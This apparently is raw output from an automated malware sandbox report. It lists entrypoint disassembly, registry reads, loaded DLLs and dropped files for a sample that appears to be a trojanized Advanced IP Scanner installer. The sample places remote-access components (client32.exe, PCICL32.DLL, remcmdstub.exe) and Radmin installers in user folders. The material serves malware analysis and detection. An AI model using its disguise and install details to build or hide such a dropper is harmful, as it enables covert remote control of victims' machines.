0x4a8a7b,push dword ptr fs:[edx],mov dword ptr fs:[edx], esp,mov eax, dword ptr [0x4b0634],call 0x4a16e8,call 0x4a1240,lea edx, [ebp - 0x14],xor eax, eax," "client32.exe" file has an entrypoint instructions - "sub esp, 0x44,push esi,call dword ptr [0x403058],mov esi, eax,mov al, byte ptr [esi],cmp al, 0x22,jne 0x40104e,mov al, byte ptr [esi + 1],inc esi,test al, al,je 0x401046,cmp al, 0x22,je 0x401046,mov al, byte ptr [esi + 1],inc esi,test al, al,jne 0x40103a,cmp byte ptr [esi], 0x22,jne 0x40105a,inc esi,jmp 0x40105a,cmp al, 0x20,jbe 0x40105a,mov al, byte ptr [esi + 1],inc esi,cmp al, 0x20,ja 0x401052,mov al, byte ptr [esi],test al, al,je 0x40106c,cmp al, 0x20,ja 0x40106c,mov al, byte ptr [esi + 1],inc esi,test al, al,jne 0x401060,lea eax, [esp + 4],mov dword ptr [esp + 0x30], 0,push eax,call dword ptr [0x403064],test byte ptr [esp + 0x30], 1," "AudioCapture.dll" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x12305392,call 0x12307b79,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x1230528c,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x20,mov eax, dword ptr [ebp + 8],push esi,push edi,push 8,pop ecx,mov esi, 0x1230f220,lea edi, [ebp - 0x20],rep movsd dword ptr es:[edi], dword ptr [esi],mov dword ptr [ebp - 8], eax,mov eax, dword ptr [ebp + 0xc],pop edi,mov dword ptr [ebp - 4], eax,pop esi,test eax, eax,je 0x123053da,test byte ptr [eax], 8,je 0x123053da,mov dword ptr [ebp - 0xc], 0x1994000,lea eax, [ebp - 0xc],push eax,push dword ptr [ebp - 0x10],push dword ptr [ebp - 0x1c]," "remcmdstub.exe" file has an entrypoint instructions - "call 0x405923,jmp 0x402053,sub eax, 0x3a4,je 0x4021e7,sub eax, 4,je 0x4021e1,sub eax, 0xd,je 0x4021db,dec eax,je 0x4021d5,xor eax, eax,ret ,mov eax, 0x404,ret ,mov eax, 0x412,ret ,mov eax, 0x804,ret ,mov eax, 0x411,ret ,mov edi, edi,push esi,push edi,mov esi, eax,push 0x101,xor edi, edi,lea eax, [esi + 0x1c],push edi,push eax,call 0x401fb0,xor eax, eax,movzx ecx, ax,mov eax, ecx,mov dword ptr [esi + 4], edi,mov dword ptr [esi + 8], edi,mov dword ptr [esi + 0xc], edi,shl ecx, 0x10," "pcicapi.dll" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10003cc6,call 0x100040de,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10003ba0,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x328,mov dword ptr [0x10006360], eax,mov dword ptr [0x1000635c], ecx,mov dword ptr [0x10006358], edx,mov dword ptr [0x10006354], ebx,mov dword ptr [0x10006350], esi,mov dword ptr [0x1000634c], edi,mov word ptr [0x10006378], ss,mov word ptr [0x1000636c], cs," "PCICL32.DLL" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x11165eed,call 0x11173845,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x11165de7,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,sub esp, 0x10,mov eax, dword ptr [0x111e771c],xor eax, ebp,mov dword ptr [ebp - 4], eax,mov edx, dword ptr [ebp + 0x18],push ebx,xor ebx, ebx,push esi,push edi,cmp edx, ebx,jle 0x11165f3d,mov eax, dword ptr [ebp + 0x14],mov ecx, edx,dec ecx,cmp byte ptr [eax], bl,je 0x11165f30,inc eax,cmp ecx, ebx,jne 0x11165f23,or ecx, 0xffffffff,mov eax, edx,sub eax, ecx,dec eax,cmp eax, edx,jge 0x11165f3a,inc eax,mov dword ptr [ebp + 0x18], eax,mov dword ptr [ebp - 8], ebx," "is-E4H59.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x10,push ebx,push esi,push edi,mov eax, 0x6a1758,call 0x411d44,mov eax, dword ptr [0x6b7adc],mov eax, dword ptr [eax],mov eax, dword ptr [eax + 0x190],push -0x14,push eax,call 0x41638c,mov edx, dword ptr [0x6b7adc],mov edx, dword ptr [edx],mov edx, dword ptr [edx + 0x190],and eax, 0xffffff7f,push eax,push -0x14,push edx,call 0x416394,xor eax, eax,push ebp,push 0x6adc85,push dword ptr fs:[eax],mov dword ptr fs:[eax], esp,push 1,call 0x41569c,call 0x6a14bc,mov eax, dword ptr [0x6a137c],push eax," "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x10,push ebx,push esi,push edi,mov eax, 0x6a1758,call 0x411d44,mov eax, dword ptr [0x6b7adc],mov eax, dword ptr [eax],mov eax, dword ptr [eax + 0x190],push -0x14,push eax,call 0x41638c,mov edx, dword ptr [0x6b7adc],mov edx, dword ptr [edx],mov edx, dword ptr [edx + 0x190],and eax, 0xffffff7f,push eax,push -0x14,push edx,call 0x416394,xor eax, eax,push ebp,push 0x6adc85,push dword ptr fs:[eax],mov dword ptr fs:[eax], esp,push 1,call 0x41569c,call 0x6a14bc,mov eax, dword ptr [0x6a137c],push eax," "is-RDOSR.tmp" file has an entrypoint instructions - "call 0x4dbf3b,jmp 0x4db6d9,push ebp,mov ebp, esp,push esi,mov esi, dword ptr [ebp + 8],push edi,push dword ptr [ebp + 0x14],mov edi, dword ptr [ebp + 0x10],push edi,push dword ptr [ebp + 0xc],push esi,call 0x4dbc45,add esp, 0x10,test byte ptr [esi + 4], 0x66,jne 0x4db88d,cmp dword ptr [esi], 0xe06d7363,jne 0x4db88d,cmp eax, 1,je 0x4db891,pop edi,pop esi,pop ebp,ret ,call 0x4dc0b7,mov dword ptr [eax], esi,call 0x4dc0bd,mov dword ptr [eax], edi,call 0x4dc0e1,int3 ,push ebp,mov ebp, esp,push -1,push 0x4f8bbd,mov eax, dword ptr fs:[0],push eax,push ecx,push ebx,push esi," "is-44761.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x100fa658,call 0x100fac07,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x100fa519,add esp, 0xc,pop ebp,ret 0xc,int3 ,int3 ,int3 ,mov eax, dword ptr [esp + 8],mov ecx, dword ptr [esp + 0x10],or ecx, eax,mov ecx, dword ptr [esp + 0xc],jne 0x100fa689,mov eax, dword ptr [esp + 4],mul ecx,ret 0x10,push ebx,mul ecx,mov ebx, eax,mov eax, dword ptr [esp + 8],mul dword ptr [esp + 0x14],add ebx, eax,mov eax, dword ptr [esp + 8],mul ecx,add edx, ebx,pop ebx,ret 0x10,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ," "is-QB4I9.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x100ba04d,call 0x100ba0af,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x100b9f0e,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,sub esp, 0x14,and dword ptr [ebp - 0xc], 0,lea eax, [ebp - 0xc],and dword ptr [ebp - 8], 0,push eax,call dword ptr [0x100bb038],mov eax, dword ptr [ebp - 8],xor eax, dword ptr [ebp - 0xc],mov dword ptr [ebp - 4], eax,call dword ptr [0x100bb06c],xor dword ptr [ebp - 4], eax,call dword ptr [0x100bb064],xor dword ptr [ebp - 4], eax,lea eax, [ebp - 0x14],push eax,call dword ptr [0x100bb088],mov eax, dword ptr [ebp - 0x10]," "is-HK8T3.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x640d34ea,call 0x640d39e7,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x640d33ab,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x640d3565,mov dword ptr [esi], 0x640ea6f8,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x640ea700,mov dword ptr [ecx], 0x640ea6f8,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x640d3565," "is-OGV90.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10055ce6,call 0x100563bd,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10055ba7,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x10055d36,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x10055d2f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x10055d3b,add edx, 0x28,cmp edx, esi,jne 0x10055d20,xor eax, eax,pop esi,pop ebp,ret ," "TCCTL32.DLL" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1018377e,call 0x1018da7a,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x10183678,pop ecx,pop ebp,ret 0xc,sub eax, 0x3a4,je 0x101837ba,sub eax, 4,je 0x101837b4,sub eax, 0xd,je 0x101837ae,dec eax,je 0x101837a8,xor eax, eax,ret ,mov eax, 0x404,ret ,mov eax, 0x412,ret ,mov eax, 0x804,ret ,mov eax, 0x411,ret ,mov edi, edi,push esi,push edi,mov esi, eax,push 0x101,xor edi, edi,lea eax, [esi + 0x1c],push edi,push eax," "is-9R196.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1003d96e,call 0x1003dece,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1003d82f,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,push 0,call dword ptr [0x1006706c],push dword ptr [ebp + 8],call dword ptr [0x10067070],push 0xc0000409,call dword ptr [0x10067010],push eax,call dword ptr [0x10067068],pop ebp,ret ,push ebp,mov ebp, esp,sub esp, 0x324,push 0x17,call 0x1003e631,test eax, eax,je 0x1003d9c4,push 2,pop ecx,int 0x29," "is-9S9LT.tmp" file has an entrypoint instructions - "call 0x435d5b,jmp 0x4356ad,push ebp,mov ebp, esp,push esi,mov esi, dword ptr [ebp + 8],push edi,push dword ptr [ebp + 0x14],mov edi, dword ptr [ebp + 0x10],push edi,push dword ptr [ebp + 0xc],push esi,call 0x4358c5,add esp, 0x10,test byte ptr [esi + 4], 0x66,jne 0x435867,cmp dword ptr [esi], 0xe06d7363,jne 0x435867,cmp eax, 1,je 0x43586b,pop edi,pop esi,pop ebp,ret ,call 0x435ec9,mov dword ptr [eax], esi,call 0x435ecf,mov dword ptr [eax], edi,call 0x435ee7,int3 ,int3 ,push 0x4358c5,push dword ptr fs:[0],mov eax, dword ptr [esp + 0x10]," "HTCTL32.DLL" file has an entrypoint instructions - "mov edi, edi,push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x101d5af6,call 0x101df28f,push dword ptr [ebp + 8],mov ecx, dword ptr [ebp + 0x10],mov edx, dword ptr [ebp + 0xc],call 0x101d59f0,pop ecx,pop ebp,ret 0xc,mov edi, edi,push ebp,mov ebp, esp,push 0x101f33b8,call dword ptr [0x101f01c0],test eax, eax,je 0x101d5b32,push 0x101f33a8,push eax,call dword ptr [0x101f0088],test eax, eax,je 0x101d5b32,push dword ptr [ebp + 8],call eax,pop ebp,ret ,mov edi, edi,push ebp,mov ebp, esp,push dword ptr [ebp + 8],call 0x101d5b09,pop ecx,push dword ptr [ebp + 8]," "is-MDSR5.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10027f62,call 0x10028589,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10027e23,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x10027fdd,mov dword ptr [esi], 0x10036154,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x1003615c,mov dword ptr [ecx], 0x10036154,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x10027fdd," "is-9HESL.tmp" file has an entrypoint instructions - "jmp 0x1003f727,jmp 0x1003fee6,jmp 0x1004045d,jmp 0x1003fd66,jmp 0x1003ca90,jmp 0x1003fa40,jmp 0x1003fce0,jmp 0x10040469,jmp 0x1003f939,jmp 0x1003c560,jmp 0x1003d5e0,jmp 0x1003ea50,jmp 0x1003fcae,jmp 0x10040460,jmp 0x1003cd00,jmp 0x10040463,jmp 0x10040460,jmp 0x1003ff23,jmp 0x10040022,jmp 0x1003f85d," "is-GITR0.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x100328ee,call 0x10032a71,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x100327af,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,push 0,call dword ptr [0x10034024],push dword ptr [ebp + 8],call dword ptr [0x10034028],push 0xc0000409,call dword ptr [0x10034020],push eax,call dword ptr [0x1003401c],pop ebp,ret ,push ebp,mov ebp, esp,sub esp, 0x324,push 0x17,call 0x1003301b,test eax, eax,je 0x10032944,push 2,pop ecx,int 0x29," "is-SMMFE.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x61028902,call 0x61028ba6,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x610287c3,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x6102897d,mov dword ptr [esi], 0x6102bce8,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x6102bcf0,mov dword ptr [ecx], 0x6102bce8,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x6102897d," "is-C398I.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1000d99e,call 0x1000dee2,pop ebp,jmp 0x1000d915,push ebp,mov ebp, esp,and dword ptr [0x1000f2cc], 0,sub esp, 0x24,push ebx,xor ebx, ebx,inc ebx,or dword ptr [0x1000f014], ebx,push 0xa,call 0x1000e08a,test eax, eax,je 0x1000db36,and dword ptr [ebp - 0x10], 0,xor eax, eax,or dword ptr [0x1000f014], 2,xor ecx, ecx,push esi,push edi,mov dword ptr [0x1000f2cc], ebx,lea edi, [ebp - 0x24],push ebx,cpuid ,mov esi, ebx,pop ebx,mov dword ptr [edi], eax,mov dword ptr [edi + 4], esi,mov dword ptr [edi + 8], ecx,xor ecx, ecx," "is-3RCEH.tmp" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10006822,call 0x10006d18,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x100066e3,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x1000689d,mov dword ptr [esi], 0x10008888,mov eax, esi,pop esi,pop ebp,ret 4,and dword ptr [ecx + 4], 0,mov eax, ecx,and dword ptr [ecx + 8], 0,mov dword ptr [ecx + 4], 0x10008890,mov dword ptr [ecx], 0x10008888,ret ,push ebp,mov ebp, esp,push esi,push dword ptr [ebp + 8],mov esi, ecx,call 0x1000689d," "is-USEBL.tmp" file has an entrypoint instructions - "dec ebp,pop edx,nop ,add byte ptr [ebx], al,add byte ptr [eax], al,add byte ptr [eax + eax], al,add byte ptr [eax], al," "is-QPD72.tmp" file has an entrypoint instructions - "dec ebp,pop edx,nop ,add byte ptr [ebx], al,add byte ptr [eax], al,add byte ptr [eax + eax], al,add byte ptr [eax], al,"5f:T70d,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH")60:Teb5,Observed system executable string:"%WINDIR%\system32\shell32.dll" [Source: 00000000-00006300-00000C2A-601976704] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00005220-00000C2A-603907750] Observed system executable string:"%WINDIR%\system32\shfolder.dll" [Source: 00000000-00005220-00000C2A-608992186] Observed system executable string:"%WINDIR%\system32\shlwapi.dll" [Source: 00000000-00005220-00000C2A-609210579] Observed system executable string:"%WINDIR%\system32\sfc.dll" [Source: 00000000-00005220-00000C2A-630114956] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00007184-00000C2A-636668809] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00007184-00000C2A-636977358] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00007184-00000C2A-637076024] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007184-00000C2A-637146264] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00007184-00000C2A-637331656] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00007184-00000C2A-637359234] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007184-00000C2A-637403334] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00007184-00000C2A-637497322] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00007184-00000C2A-637696935] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00007184-00000C2A-637730441] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00007184-00000C2A-637950797] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00007184-00000C2A-637980817] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007184-00000C2A-638095323] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00007184-00000C2A-638290502] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007184-00000C2A-638532148] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00007184-00000C2A-638606896] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00007184-00000C2A-638835270] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007184-00000C2A-638946641] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007184-00000C2A-639164468] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007184-00000C2A-639174251]61:T840,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "client32.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "AudioCapture.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "remcmdstub.exe" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "pcicapi.dll" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "PCICL32.DLL" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-E4H59.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-RDOSR.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-44761.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-QB4I9.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-HK8T3.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-OGV90.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "TCCTL32.DLL" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-9R196.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-9S9LT.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "HTCTL32.DLL" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-MDSR5.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-9HESL.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-GITR0.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-SMMFE.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-C398I.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-3RCEH.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-USEBL.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE "is-QPD72.tmp" has flags like IMAGE_FILE_32BIT_MACHINE IMAGE_FILE_EXECUTABLE62:T4b61,"ExtractedContent.ps1" has type "ASCII text with very long lines (65339) with CRLF line terminators"- Location: [%TEMP%\is-0DA6D.tmp\ExtractedContent.ps1]- [targetUID: 00000000-00007184] "client32.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows 4 sections"- Location: [%APPDATA%\SystemUtil\client32.exe]- [targetUID: 00000000-00007184] "AudioCapture.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%APPDATA%\SystemUtil\AudioCapture.dll]- [targetUID: 00000000-00007184] "remcmdstub.exe" has type "PE32 executable (console) Intel 80386 for MS Windows 5 sections"- Location: [%APPDATA%\SystemUtil\remcmdstub.exe]- [targetUID: 00000000-00007184] "pcicapi.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%APPDATA%\SystemUtil\pcicapi.dll]- [targetUID: 00000000-00007184] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00007184] "Advanced IP Scanner for Windows.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Icon number=0 Unicoded MachineID 2smvmgrji2249er KnownFolderID 7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E Archive ctime=Wed Jun 25 00:56:43 2025 atime=Wed Jun 25 00:56:43 2025 mtime=Fri Apr 29 21:13:52 2022 length=1681960 window=normal IDListSize 0x01b3 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\Program Files (x86)\Advanced IP Scanner\advanced_ip_scanner.exe""- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Network Tools\Advanced IP Scanner for Windows.lnk]- [targetUID: 00000000-00005220] "is-ICQ8B.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows 5 sections"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-ICQ8B.tmp]- [targetUID: 00000000-00005220] "is-VD71U.tmp" has type "Composite Document File V2 Document Little Endian Os: Windows Version 5.1 MSI Installer Number of Characters: 0 Last Saved By: DavidHacker Number of Words: 0 Title: Radmin Server 3.5.2 installation package Comments: This installer contains the logic and data to install Radmin Server 3.5.2 Keywords: InstallerMSIDatabase Subject: Radmin Server 3.5.2 Author: Famatech Security: 1 Number of Pages: 200 Name of Creating Application: InstallShield 12 - Professional Edition 12.0 Revision Number: {BBD285CD-D1FE-41B1-B6B4-7FF7C27F553B} Last Saved Time/Date: Thu Dec 14 03:24:15 2017 Create Time/Date: Thu Dec 14 03:24:15 2017 Last Printed: Thu Dec 14 03:24:15 2017 Code page: 1252 Template: Intel;1033"- Location: [%PROGRAMFILES%\(x86)\Advanced IP Scanner\is-VD71U.tmp]- [targetUID: 00000000-00005220] "is-4PGPK.tmp" has type "Composite Document File V2 Document Little Endian Os: Windows Version 5.1 MSI Installer Number of Characters: 0 Last Saved By: DavidHacker Number of Words: 0 Title: Radmin Viewer 3.5.2 installation package Comments: This installer contains the logic and data to install Radmin Viewer 3.5.2 Keywords: InstallerMSIDatabase Subject: Radmin Viewer 3.5.2 Author: Famatech 